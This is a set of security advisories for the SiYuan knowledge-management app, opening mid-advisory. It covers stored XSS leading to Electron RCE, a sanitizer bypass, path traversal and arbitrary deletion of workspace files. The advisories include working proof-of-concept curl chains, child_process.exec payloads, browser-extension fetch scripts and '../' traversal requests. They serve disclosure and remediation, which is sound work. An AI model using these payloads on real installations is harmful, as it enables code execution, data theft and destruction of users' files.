$API/api/filetree/createDocWithMd \ -H 'Content-Type: application/json' \ -d "{\"notebook\":\"$NOTEBOOK_ID\",\"path\":\"/tooltip-xss-poc-$$\",\"markdown\":\"trigger me — open the search panel, type 'trigger', and hover this result\"}" \ | python -c 'import sys,json; print(json.load(sys.stdin)["data"])') echo "DOC: $DOC_ID" curl -s -X POST $API/api/filetree/renameDocByID \ -H 'Content-Type: application/json' \ --data-binary @- <<EOF {"id":"$DOC_ID","title":"%3Cimg src=x onerror=\"alert('SiYuan tooltip-XSS PoC')\"%3E"} EOF ``` Verify the in-memory title round-trips: ```sh curl -s -X POST $API/api/block/getDocInfo \ -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" \ | python -c 'import sys,json; print(json.load(sys.stdin)["data"]["ial"]["title"])' # Expected: # %3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E ``` ### Step C — Trigger inside SiYuan In the SiYuan desktop client: 1. Open the search panel (`Ctrl+P` / `⌘+P`). 2. Type `trigger`. 3. The result list renders the doc with `aria-label="${escapeAriaLabel(title)}"`. The DOM attribute now contains `%3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E` (URL-escapes survived; `"` came from escapeAriaLabel and was decoded by the attribute parser to `"`). 4. **Hover the result row.** `popover.ts:33` reads the attribute, `popover.ts:144` calls `decodeURIComponent` (decoding `%3C`/`%27`/`%3E` to literal `<`/`'`/`>`), `tooltip.ts:41` writes `innerHTML` — HTML parser creates a real `<img>` element, `onerror` fires. 5. **`alert('SiYuan tooltip-XSS PoC')` pops.** ### Step D — `.sy.zip` reproducer for upstream review For maintainers who want a single-click reproducer: ```sh ZIP_PATH=$(curl -s -X POST $API/api/export/exportSY \ -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" \ | python -c 'import sys,json; print(json.load(sys.stdin)["data"]["zip"])') # The kernel re-encodes % in the URL, so it's simpler to grab from disk: SRC=$(ls -1t "$HOME/SiYuanWorkspace/temp/export"/*.sy.zip | head -1) cp "$SRC" "$HOME/Desktop/tooltip-xss-poc.sy.zip" ``` Maintainer reproduces by importing via right-click a notebook → **Import** → **SiYuan `.sy.zip`** → searching `trigger` → hovering the result. The Lute serialization stores the title in the `.sy` file with `%XX` preserved literally and `"` HTML-entity-encoded — the IAL parser decodes the entities on load, leaving the URL escapes intact, which then feeds the `decodeURIComponent`-based bypass. ### Step E — Browser-extension attack vector (the realistic remote path) A malicious or compromised installed browser extension's content/background script runs with `chrome-extension://<id>` Origin, allowlisted by `session.go:277`. The extension can run Step B's curl chain via `fetch()` without any SiYuan UI interaction beyond keeping the kernel running: ```js (async () => { const api = (path, body) => fetch('http://127.0.0.1:6806' + path, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(body) }).then(r => r.json()); const nb = await api('/api/notebook/lsNotebooks', {}); const id = (await api('/api/filetree/createDocWithMd', { notebook: nb.data.notebooks[0].id, path: '/x' + Date.now(), markdown: 'trigger' })).data; await api('/api/filetree/renameDocByID', { id, title: `%3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E` }); })(); ``` A page from `https://attacker.com` is rejected — `IsLocalOrigin` only matches localhost/loopback. Realistic remote vectors: **browser extensions**, **localhost-served webpages**, **shared `.sy.zip` imports**, **sync replication from a co-author's compromised device**. ### Cleanup ```sh DOC_ID=$(curl -s -X POST $API/api/filetree/searchDocs \ -H 'Content-Type: application/json' -d '{"k":"trigger me"}' \ | python -c 'import sys,json; r=json.load(sys.stdin)["data"]; print(r[0]["id"] if r else "")') [ -n "$DOC_ID" ] && curl -s -X POST $API/api/filetree/removeDocByID \ -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" ``` ## Impact - **RCE on the victim's desktop**, triggered by hovering a search result (or any other `class="ariaLabel"` element rendering attacker-controlled metadata). - **Doc titles are the most commonly-shared field** — recipients of `.sy.zip`, Bazaar templates, and sync peers all import the malicious title automatically; the URL encoding survives every transport. - Same post-RCE consequences as Advisory 1: full filesystem read (incl. `~/.ssh/`, `~/.aws/credentials`, workspace `conf/conf.json`), persistence, cloud-account pivot. - **Multiple alternative trigger surfaces** beyond search results: AV column names + descriptions, AV select-cell options, file-tree tooltips — any element with `class="ariaLabel"` and `aria-label="${escapeAriaLabel(...)}"` reaches the same `popover.ts → tooltip.ts` chain. - **CVE-2026-34585 fix is incomplete.** The encoder-side hardening assumed exactly one HTML decode between encoder and DOM. It did not account for `decodeURIComponent` being applied to the consumer-side attribute value, which converts URL-escapes that the encoder ignored into literal `<` characters that initiate tag parsing. A consumer-side fix (`textContent`, or `DOMPurify.sanitize` on the rich-text path; and removing the unconditional `decodeURIComponent`) is required.
Affected: from the first version, ≤ 0.0.0-20260421031503-96dfe0bea474
SiYuan Affected by Stored XSS via Attribute View Name to Electron Renderer RCE ## Summary The kernel stores Attribute View (AV / database) names without any HTML escape, then a render template uses raw `strings.ReplaceAll(tpl, "${avName}", nodeAvName)` to embed the name in HTML before pushing to all clients via WebSocket. Three independent client paths (`render.ts:120` → `outerHTML`, `Title.ts:401` → `innerHTML`, `transaction.ts:559` → `innerHTML`) consume the value without escaping. Because the main BrowserWindow runs `nodeIntegration:true, contextIsolation:false, webSecurity:false` (`app/electron/main.js:407-411`), HTML injection in the renderer becomes Node.js code execution. Payload is stored on disk under `data/storage/av/<id>.json`, replicates via every sync transport (S3 / WebDAV / cloud), survives `.sy.zip` export-import, and triggers for any role (Administrator / Editor / Reader / publish-service Visitor) opening a doc bound to the AV. ## Details **Kernel write — no escape.** `kernel/model/attribute_view.go:3244-3255`: ```go attrView.Name = strings.TrimSpace(operation.Data.(string)) attrView.Name = strings.ReplaceAll(attrView.Name, "\n", " ") if 512 < utf8.RuneCountInString(attrView.Name) { attrView.Name = gulu.Str.SubStr(attrView.Name, 512) } err = av.SaveAttributeView(attrView) // ← no html.EscapeString ``` **Kernel template — raw replace.** `kernel/model/attribute_view.go:3242,3283-3284`: ```go const attrAvNameTpl = `<span data-av-id="${avID}" ... class="popover__block">${avName}</span>` // ... tpl := strings.ReplaceAll(attrAvNameTpl, "${avID}", nodeAvID) tpl = strings.ReplaceAll(tpl, "${avName}", nodeAvName) // ← raw ``` **Sink #1 — AV body header → outerHTML.** `app/src/protyle/render/av/render.ts:120` (returned from `genTabHeaderHTML`, written via outerHTML at `render.ts:596`): ```ts <div contenteditable="${editable}" ... data-title="${data.name || ""}" ...>${data.name || ""}</div> // ... e.firstElementChild.outerHTML = `<div class="av__container">${genTabHeaderHTML(...)}...</div>`; ``` Same pattern in `kanban/render.ts:227` and `gallery/render.ts:142`. **Sink #2 — Doc title attribute strip → innerHTML.** `app/src/protyle/header/Title.ts:396-403`: ```ts response.data.attrViews.forEach((item: { id: string, name: string }) => { avTitle += `<span data-av-id="${item.id}" ... class="popover__block">${item.name}</span> `; }); nodeAttrHTML += `<div class="protyle-attr--av">...${avTitle}</div>`; this.element.querySelector(".protyle-attr").innerHTML = nodeAttrHTML; ``` **Sink #3 — WebSocket `updateAttrs` push → innerHTML.** `app/src/protyle/wysiwyg/transaction.ts:549-562,659`: ```ts const escapeHTML = Lute.EscapeHTMLStr(data.new[key]); if (key === "bookmark") { bookmarkHTML = `...${escapeHTML}...`; } else if (key === "name") { nameHTML = `...${escapeHTML}...`; } else if (key === "alias") { aliasHTML = `...${escapeHTML}...`; } else if (key === "memo") { memoHTML = `...${escapeHTML}...`; } else if (key === "custom-avs" && data.new["av-names"]) { avHTML = `<div class="protyle-attr--av">...${data.new["av-names"]}</div>`; // ^^^^^^^^^^^^^^^^^^^^^^^^ raw, unlike the four siblings above } // ... attrElement.innerHTML = nodeAttrHTML + Constants.ZWSP; ``` The four sibling cases use `Lute.EscapeHTMLStr` — proving the team knows the right pattern; only `av-names` was missed. **Renderer posture — RCE multiplier.** `app/electron/main.js:407-411`: ```js webPreferences: { nodeIntegration: true, webviewTag: true, webSecurity: false, contextIsolation: false, } ``` **Reachability.** Route `/api/transactions setAttrViewName` requires `CheckAuth + CheckAdminRole + CheckReadonly`. On default install (`Conf.AccessAuthCode == ""`), `kernel/model/session.go:261-287` auto-grants Administrator to local-origin requests. The Origin check accepts `localhost` / loopback only **but `chrome-extension://` is explicitly allowlisted** (`session.go:277`), so any installed browser extension calls the API as admin. Local clients with no Origin header (CLI tools) also pass. ## Suggested fix 1. `kernel/model/attribute_view.go getAvNames` (line 3283-3284): replace the two `strings.ReplaceAll` calls with `template.HTMLEscapeString(nodeAvName)` for the `${avName}` substitution. 2. `transaction.ts:559`: wrap with `Lute.EscapeHTMLStr` to match siblings at lines 549-557. 3. `render.ts:120`: use `Lute.EscapeHTMLStr(data.name)` for both `data-title=` and the text content. 4. `Title.ts:396`: escape `item.name` via `Lute.EscapeHTMLStr` and `item.id` via `escapeAttr`. 5. *(Defense-in-depth)* Switch the main BrowserWindow to `contextIsolation: true` with a preload bridge — caps every future renderer XSS at "DOM only," not RCE. --- ## Reproduction (copy-paste-ready) Tested on Linux/macOS with SiYuan v3.6.5 (re-verified against `master` HEAD on 2026-05-03). Windows users: replace `python3` with `py` and use Git Bash / WSL for the shell snippets, or translate to PowerShell. ### Prereqs 1. **Install SiYuan v3.6.5** from https://github.com/siyuan-note/siyuan/releases. Launch it once so the workspace at `~/SiYuanWorkspace` is initialized. Do **not** set an Access Authorization Code (default). 2. **Verify the kernel responds:** ```sh curl -s http://127.0.0.1:6806/api/system/version ``` Expected output (single line of JSON): ```json {"code":0,"msg":"","data":"3.6.5"} ``` 3. **Pin shell variables** for the rest of the PoC: ```sh API=http://127.0.0.1:6806 WS=~/SiYuanWorkspace # adjust if your workspace lives elsewhere NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \ -H 'Content-Type: application/json' -d '{}' \ | python3 -c 'import sys,json; print(json.load(sys.stdin)["data"]["notebooks"][0]["id"])') echo "Using notebook: $NOTEBOOK_ID" ``` Expected: a 14-digit-timestamp + `-7chars` ID like `20240101120000-abc1234`. If you get an empty string, you have no notebooks — open SiYuan and click "New notebook" once. ### Step A — Create the AV via the SiYuan UI (one-time, ~10 seconds) The kernel's `setAttrViewName` requires the AV file to already exist on disk (`av.ParseAttributeView` returns an error otherwise). The simplest way to create one is via the editor: 1. Open SiYuan. In any document, type `/database` and press Enter (or open the slash-command menu and pick **Database**). 2. The editor inserts an Attribute View block. The kernel writes a JSON file to `<workspace>/data/storage/av/<av-id>.json`. 3. Capture the AV ID — the most recently written file in that directory: ```sh AV_FILE=$(ls -1t "$WS/data/storage/av/"*.json 2>/dev/null | head -1) AV_ID=$(basename "$AV_FILE" .json) echo "AV_ID: $AV_ID" ``` Expected: same 14-digit-timestamp + `-7chars` shape, e.g. `20260503160000-aaaaaaa`. If empty, the AV file wasn't created — repeat the UI step. (If your workspace already has many AV files, this picks the newest by mtime; alternatively right-click the inserted database block in SiYuan → Inspect Element to read its `data-av-id` attribute.) 4. Capture the doc ID that hosts the AV: right-click the doc tab → **Copy ID**, or read it from the doc's `data-node-id` in DevTools (Ctrl+Shift+I). Set: ```sh DOC_ID=<root-block-id-of-the-doc-containing-the-AV> ``` ### Step B — Plant the XSS payload as the AV name The payload is written directly inside an unquoted heredoc so bash expands `$AV_ID` while preserving the `\"` JSON-escape sequences literally. Single-quote chars (`'`) in the inner JS need no escaping inside a JSON string. ```sh curl -s -X POST $API/api/transactions \ -H 'Content-Type: application/json' \ --data-binary @- <<EOF { "session": "x", "app": "siyuan", "transactions": [{ "doOperations": [{ "action": "setAttrViewName", "id": "$AV_ID", "data": "<img src=x onerror=\"require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')\">" }], "undoOperations": [] }] } EOF ``` Expected response: ```json {"code":0,"msg":"","data":[{"doOperations":[...,"action":"setAttrViewName",...]}]} ``` ### Step C — Verify the unescaped storage ```sh python3 -c "import json; print(json.load(open('$WS/data/storage/av/$AV_ID.json'))['name'])" ``` Expected output (the raw HTML as stored — `print` does not escape `"`, so they appear as literal quotes): ``` <img src=x onerror="require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')"> ``` ### Step D — Trigger In the SiYuan desktop client: 1. Switch away from the doc that contains the AV (open another doc, or close the tab). 2. Re-open the doc containing the AV (`$DOC_ID`). 3. The AV body header is rendered via `genTabHeaderHTML` → `outerHTML` at `app/src/protyle/render/av/render.ts:596`. The browser parses the `<img>` tag, fails to load `src=x`, and fires `onerror`. 4. **Calculator (or `xcalc` / `open -a Calculator`) launches.** If nothing happens, open DevTools (Ctrl+Shift+I / ⌘⌥I) → Console; you should see the error from the failed `src=x` load. If the AV is in another doc you haven't opened recently, the cached render may be stale — close all tabs and re-open. ### Step E — Browser-extension attack vector (the realistic remote path) A malicious or compromised installed browser extension's content/background script runs with `chrome-extension://<id>` Origin, allowlisted by `session.go:277`. The extension can run Steps B's curl-equivalent via `fetch()`: ```js // Inside any extension content/background script fetch('http://127.0.0.1:6806/api/transactions', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ session: 'x', app: 'siyuan', transactions: [{ doOperations: [{ action: 'setAttrViewName', id: '<av-id-discovered-via-prior-recon-fetches>', data: `<img src=x onerror="require('child_process').exec('xcalc')">` }] }] }) }); ``` The extension can also enumerate AV IDs by first calling `/api/notebook/lsNotebooks`, then walking notebook trees. A page from `https://attacker.com` is rejected — `IsLocalOrigin` only matches localhost/loopback. Realistic remote vectors are: **browser extensions**, **localhost-served webpages**, **shared `.sy.zip` imports**, **sync replication from a co-author's compromised device**. ### Cleanup ```sh # Remove the test doc (also removes the AV binding in the doc) curl -s -X POST $API/api/filetree/removeDocByID \ -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" # Manually delete the AV file rm -f $WS/data/storage/av/$AV_ID.json # Restart SiYuan to clear in-memory state ``` ## Impact - **RCE on the victim's desktop** with the user's privileges, no extra prompt after the trigger condition is met. - **Persistent** — payload survives restart, syncs across devices, rides in `.sy.zip` exports and Bazaar templates. - **Triggers for any role** opening a doc bound to the AV (incl. Reader-role publish viewers). - After RCE: full filesystem read (incl. `~/.ssh/`, `~/.aws/credentials`, workspace `conf/conf.json` — kernel API token + AccessAuthCode hash), persistence (`.bashrc` / Startup folder / LaunchAgent), cloud-account pivot. - **Attack vectors:** browser extensions (`chrome-extension://` Origin allowlisted); shared `.sy.zip` files; Bazaar templates; sync peers; co-authors on a shared workspace; publish-service planters infecting Reader viewers.
Affected: from the first version, < 0.0.0-20260512140701-d7b77d945e0d
SiYuan is an open-source personal knowledge management system. Prior to 3.6.5, the fix for CVE-2026-30869 only added a denylist check (IsSensitivePath) but did not address the root cause — a redundant url.PathUnescape() call in serveExport(). An authenticated attacker can use double URL encoding (%252e%252e) to traverse directories and read arbitrary workspace files including the full SQLite database (siyuan.db), kernel log, and all user documents. This vulnerability is fixed in 3.6.5.
Affected: from the first version, < 3.6.5
SiYuan has incomplete fix for CVE-2026-33066: XSS ### Summary The incomplete fix for SiYuan's bazaar README rendering enables the Lute HTML sanitizer but fails to block `<iframe>` tags, allowing stored XSS via `srcdoc` attributes containing embedded scripts that execute in the Electron context. ### Affected Package - **Ecosystem:** Go - **Package:** github.com/siyuan-note/siyuan - **Affected versions:** < commit b382f50e1880 - **Patched versions:** >= commit b382f50e1880 ### Details The `renderPackageREADME()` function in `kernel/bazaar/readme.go` renders Markdown README content from bazaar (marketplace) packages into HTML. The original vulnerability allowed stored XSS through unsanitized HTML in READMEs. The fix adds `luteEngine.SetSanitize(true)` to enable Lute's built-in HTML sanitizer. However, the Lute sanitizer in `lute/render/sanitizer.go` has a critical gap: 1. `<iframe>` is explicitly commented out of `setOfElementsToSkipContent`, so iframe tags pass through. 2. The `srcdoc` attribute is checked against URL-prefix blocklists (`javascript:`, `data:text/html`), but `srcdoc` contains raw HTML content, not a URL. A value like `<img src=x onerror=alert(1)>` does not start with any blocked prefix. 3. The browser renders `srcdoc` HTML in a nested browsing context, executing embedded scripts and event handlers. The fix correctly blocks direct `<script>` tags, event handler attributes, and `javascript:` protocol links. However: - `<iframe srcdoc="<script>alert(document.domain)</script>">` passes through because iframe is not blocked and the srcdoc value is raw HTML (not a URL scheme). - `<iframe srcdoc="<img src=x onerror=alert(document.cookie)>">` also passes because the event handler is inside the srcdoc string value, not a top-level tag attribute. ### PoC ```python """ CVE-2026-33066 - Incomplete Sanitization in SiYuan Bazaar README Rendering Component: kernel/bazaar/readme.go :: renderPackageREADME() Patch: https://github.com/siyuan-note/siyuan/commit/b382f50e1880ed996364509de5a10a72d7409428 """ import re import sys from html.parser import HTMLParser ELEMENTS_TO_SKIP_CONTENT = { "frame", "frameset", # "iframe", # NOTE: iframe is commented out in the original Go code! "noembed", "noframes", "noscript", "nostyle", "object", "script", "style", "title", } EVENT_ATTRS = { "onafterprint", "onbeforeprint", "onbeforeunload", "onerror", "onhashchange", "onload", "onmessage", "onoffline", "ononline", "onpagehide", "onpageshow", "onpopstate", "onresize", "onstorage", "onunload", "onblur", "onchange", "oncontextmenu", "onfocus", "oninput", "oninvalid", "onreset", "onsearch", "onselect", "onsubmit", "onkeydown", "onkeypress", "onkeyup", "onclick", "ondblclick", "onmousedown", "onmousemove", "onmouseout", "onmouseover", "onmouseleave", "onmouseenter", "onmouseup", "onmousewheel", "onwheel", "ondrag", "ondragend", "ondragenter", "ondragleave", "ondragover", "ondragstart", "ondrop", "onscroll", "oncopy", "oncut", "onpaste", "onabort", "oncanplay", "oncanplaythrough", "oncuechange", "ondurationchange", "onemptied", "onended", "onloadeddata", "onloadedmetadata", "onloadstart", "onpause", "onplay", "onplaying", "onprogress", "onratechange", "onseeked", "onseeking", "onstalled", "onsuspend", "ontimeupdate", "onvolumechange", "onwaiting", "ontoggle", "onbegin", "onend", "onrepeat", "http-equiv", "formaction", } URL_ATTRS = {"src", "srcdoc", "srcset", "href"} BLOCKED_URL_PREFIXES = ("data:image/svg+xml", "data:text/html", "javascript") SELF_CLOSING_TAGS = {"img", "br", "hr", "input", "meta", "link", "area", "base", "col", "embed", "source", "track", "wbr"} def sanitize_attr_value_for_url(key, val): cleaned = val.lower().strip() cleaned = ''.join(c for c in cleaned if not c.isspace() or c == ' ') for prefix in BLOCKED_URL_PREFIXES: if cleaned.startswith(prefix): return False return True class LuteSanitizer(HTMLParser): def __init__(self): super().__init__(convert_charrefs=False) self.output = [] self.skip_depth = 0 def handle_starttag(self, tag, attrs): tag = tag.lower() if tag in ELEMENTS_TO_SKIP_CONTENT: self.skip_depth += 1 self.output.append(" ") return if self.skip_depth > 0: return sanitized_attrs = [] for key, val in attrs: key = key.lower() if val is None: val = "" if key in EVENT_ATTRS: continue if key in URL_ATTRS: if not sanitize_attr_value_for_url(key, val): continue sanitized_attrs.append((key, val)) parts = ["<" + tag] for key, val in sanitized_attrs: escaped_val = val.replace("&", "&").replace('"', """) parts.append(f' {key}="{escaped_val}"') if tag in SELF_CLOSING_TAGS: parts.append(" /") parts.append(">") self.output.append("".join(parts)) def handle_endtag(self, tag): tag = tag.lower() if tag in ELEMENTS_TO_SKIP_CONTENT: self.skip_depth -= 1 if self.skip_depth < 0: self.skip_depth = 0 self.output.append(" ") return if self.skip_depth > 0: return self.output.append(f"</{tag}>") def handle_data(self, data): if self.skip_depth > 0: return self.output.append(data) def handle_entityref(self, name): if self.skip_depth > 0: return self.output.append(f"&{name};") def handle_charref(self, name): if self.skip_depth > 0: return self.output.append(f"&#{name};") def handle_comment(self, data): pass def handle_decl(self, decl): pass def get_output(self): return "".join(self.output) def sanitize_html(html_str): sanitizer = LuteSanitizer() sanitizer.feed(html_str) return sanitizer.get_output() def check_xss(html_output): findings = [] srcdoc_match = re.search(r'srcdoc="([^"]*)"', html_output, re.IGNORECASE) if srcdoc_match: import html as html_mod decoded = html_mod.unescape(srcdoc_match.group(1).lower()) if '<script' in decoded: findings.append("iframe srcdoc: embedded <script> tag") if re.search(r'on\w+\s*=', decoded): findings.append("iframe srcdoc: event handler in nested HTML") return findings PAYLOADS = [ '<iframe srcdoc="<script>alert(document.domain)</script>"></iframe>', '<iframe srcdoc="<img src=x onerror=alert(document.cookie)>"></iframe>', ] bypass_found = False for payload in PAYLOADS: fixed_output = sanitize_html(payload) findings = check_xss(fixed_output) if findings: bypass_found = True print(f"BYPASS: {payload[:80]}") for f in findings: print(f" - {f}") if bypass_found: print("\nVULNERABILITY CONFIRMED") sys.exit(0) else: print("\nVULNERABILITY NOT CONFIRMED") sys.exit(1) ``` ```bash python3 poc.py ``` **Steps to reproduce:** 1. `git clone https://github.com/siyuan-note/siyuan /tmp/siyuan_test` 2. `cd /tmp/siyuan_test && git checkout b382f50e1880ed996364509de5a10a72d7409428~1` 3. `python3 poc.py` (or `go run poc.go` if Go PoC) **Expected output:** ``` VULNERABILITY CONFIRMED Iframe tags with srcdoc attributes bypass the Lute sanitizer, allowing embedded scripts to execute in the Electron context. ``` ### Impact A malicious bazaar package author can include `<iframe srcdoc='<script>...</script>'>` in their README.md. When other users view the package in SiYuan's marketplace UI, the XSS executes in the Electron context with full application privileges, enabling data theft, local file access, and arbitrary code execution on the user's machine. ### Suggested Remediation 1. Add `iframe` to the `setOfElementsToSkipContent` set in the Lute sanitizer. 2. If iframes must be preserved, strip the `srcdoc` attribute entirely or sanitize its HTML content recursively. 3. Apply a Content Security Policy (CSP) to the README rendering context. ### References - Incomplete fix commit: https://github.com/siyuan-note/siyuan/commit/b382f50e1880ed996364509de5a10a72d7409428 - Original CVE: CVE-2026-33066
Affected: from the first version, < 0.0.0-20260414013942-62eed37a3263
SiYuan: Publish Reader Can Arbitrarily Delete Attribute View Files via `/api/av/removeUnusedAttributeView` ## Summary An authenticated publish-service reader can invoke `/api/av/removeUnusedAttributeView` and cause persistent deletion of arbitrary attribute view (`AV`) definition files from the workspace. The route is protected only by generic `CheckAuth`, which accepts publish `RoleReader` requests. The handler forwards a caller-controlled `id` directly into a model function that deletes `data/storage/av/<id>.json` without verifying either: - that the caller is allowed to perform write/destructive actions; or - that the target AV is actually unused. This is a persistent integrity and availability issue reachable from the publish surface. ## Root Cause ### 1. Publish users are issued a `RoleReader` JWT - [kernel/model/auth.go](/root/audit/siyuan/kernel/model/auth.go#L105) ```go ClaimsKeyRole: RoleReader, ``` ### 2. The publish reverse proxy forwards that token upstream - [kernel/server/proxy/publish.go](/root/audit/siyuan/kernel/server/proxy/publish.go#L131) - [kernel/server/proxy/publish.go](/root/audit/siyuan/kernel/server/proxy/publish.go#L186) ### 3. `CheckAuth` accepts `RoleReader` - [kernel/model/session.go](/root/audit/siyuan/kernel/model/session.go#L201) ```go if role := GetGinContextRole(c); IsValidRole(role, []Role{ RoleAdministrator, RoleEditor, RoleReader, }) { c.Next() return } ``` ### 4. The route is exposed with `CheckAuth` only - [kernel/api/router.go](/root/audit/siyuan/kernel/api/router.go#L507) ```go ginServer.Handle("POST", "/api/av/removeUnusedAttributeView", model.CheckAuth, removeUnusedAttributeView) ``` There is no `CheckAdminRole` and no `CheckReadonly`. ### 5. The handler forwards attacker-controlled `id` directly to the delete sink - [kernel/api/av.go](/root/audit/siyuan/kernel/api/av.go#L32) ```go avID := arg["id"].(string) model.RemoveUnusedAttributeView(avID) ``` ### 6. The model deletes the AV file unconditionally - [kernel/model/attribute_view.go](/root/audit/siyuan/kernel/model/attribute_view.go#L49) ```go func RemoveUnusedAttributeView(id string) { absPath := filepath.Join(util.DataDir, "storage", "av", id+".json") if !filelock.IsExist(absPath) { return } ... if err = filelock.RemoveWithoutFatal(absPath); err != nil { ... return } IncSync() } ``` Crucially, this function does **not** verify that the supplied AV is actually unused. The name of the function suggests a cleanup helper, but the implementation is really "delete AV file by id if it exists". ## Attack Prerequisites - Publish service enabled - Attacker can access the publish service - If publish auth is enabled, attacker has valid publish-reader credentials - Attacker knows an `avID` ## Obtaining `avID` `avID` is not secret. It is exposed extensively in frontend markup as `data-av-id`. Examples: - [app/src/protyle/render/av/render.ts](/root/audit/siyuan/app/src/protyle/render/av/render.ts#L117) - [app/src/protyle/render/av/layout.ts](/root/audit/siyuan/app/src/protyle/render/av/layout.ts#L120) - [app/src/protyle/render/av/groups.ts](/root/audit/siyuan/app/src/protyle/render/av/groups.ts#L52) Any publish-visible database/attribute view can therefore disclose a valid `avID` to the attacker. ## Exploit Path 1. Attacker browses published content containing an attribute view. 2. Attacker extracts the `data-av-id` value from the page/DOM. 3. Attacker sends a POST request to `/api/av/removeUnusedAttributeView` through the publish service. 4. Publish proxy injects a valid `RoleReader` token. 5. `CheckAuth` accepts the request. 6. The handler passes the attacker-controlled `avID` to `model.RemoveUnusedAttributeView`. 7. The backend deletes `data/storage/av/<avID>.json`. ## Proof of Concept Request: ```http POST /api/av/removeUnusedAttributeView HTTP/1.1 Host: <publish-host>:<publish-port> Content-Type: application/json Authorization: Basic <publish-account-creds-if-enabled> { "id": "<exposed-data-av-id>" } ``` Expected result: - HTTP 200 - backend increments sync state - the target attribute view file is removed from `data/storage/av/` - published and local workspace behavior for that AV becomes broken until restored from history or recreated ## Impact This gives a low-privileged publish reader a destructive persistent write primitive against workspace data. Practical consequences include: - deletion of live attribute view definitions - corruption/breakage of published database views - breakage of local workspace rendering and AV-backed relationships - operational disruption until restore or manual repair The bug affects integrity and availability, not merely UI state. ## Recommended Fix At minimum: 1. Block publish/read-only users from this route. 2. Require admin/write authorization. 3. Re-validate that the target AV is actually unused before deletion. Safe router fix: ```go ginServer.Handle("POST", "/api/av/removeUnusedAttributeView", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, removeUnusedAttributeView, ) ``` And inside the model or handler, reject deletion unless the target `id` is present in `UnusedAttributeViews(...)`.
Affected: from the first version, < 0.0.0-20260407035653-2f416e5253f1
SiYuan: Publish Reader Path Traversal Delete via `removeUnusedAttributeView` ## Summary The endpoint `/api/av/removeUnusedAttributeView` is vulnerable to a **path traversal (CWE-22)** that allows an attacker to delete arbitrary `.json` files on the server. The issue arises because user-controlled input (`id`) is directly used in filesystem path construction without validation or restriction. > Access to this endpoint (e.g., via a Reader-role or publish context) is considered a precondition and not part of the vulnerability. The root cause is unsafe path handling. --- ## Steps To Reproduce 1. Ensure the target instance has the publish service enabled (or any valid access to the endpoint). 2. Send the following request: ```http POST /api/av/removeUnusedAttributeView HTTP/1.1 Host: <target> Content-Type: application/json { "id": "../../../conf/conf" } ``` 3. Observe that the request is accepted. 4. The server resolves the path outside the intended directory and deletes the target file. --- ## Impact An attacker can delete arbitrary `.json` files within the workspace directory. This may lead to: * Deletion of global configuration files (e.g., `conf/conf.json`) * Loss of user data and application state * Corruption of workspace metadata * Persistent application instability or forced recovery This represents a **server-side arbitrary file deletion primitive**, which can have severe impact depending on the targeted files. --- ## Technical Details The vulnerable code constructs file paths as follows: ```go filepath.Join(util.DataDir, "storage", "av", id+".json") ``` Because `id` is not validated, attackers can inject path traversal sequences such as `../` to escape the intended directory. ### Example payloads * `../local` → `data/storage/local.json` * `../../storage/outline` → `data/storage/outline.json` * `../../../conf/conf` → `conf/conf.json` No validation or restriction is applied to: * input format * path normalization * directory boundaries --- ## Root Cause * Untrusted user input (`id`) is directly used in filesystem path construction * No input validation or sanitization * No enforcement that the resolved path stays within the intended directory --- ## Remediation 1. **Validate input strictly** * Only allow valid Attribute View IDs * Reject any input containing path traversal sequences 2. **Enforce directory boundaries** ```go base := filepath.Join(util.DataDir, "storage", "av") absPath := filepath.Join(base, id+".json") if !util.IsSubPath(base, absPath) { return error } ``` 3. **Normalize paths before use** * Ensure canonical paths cannot escape the base directory 4. **Add additional logical checks** * Verify that the target object is valid and allowed to be deleted ---
Affected: from the first version, < 3.6.40.0.0-20260407035653-2f416e5253f1
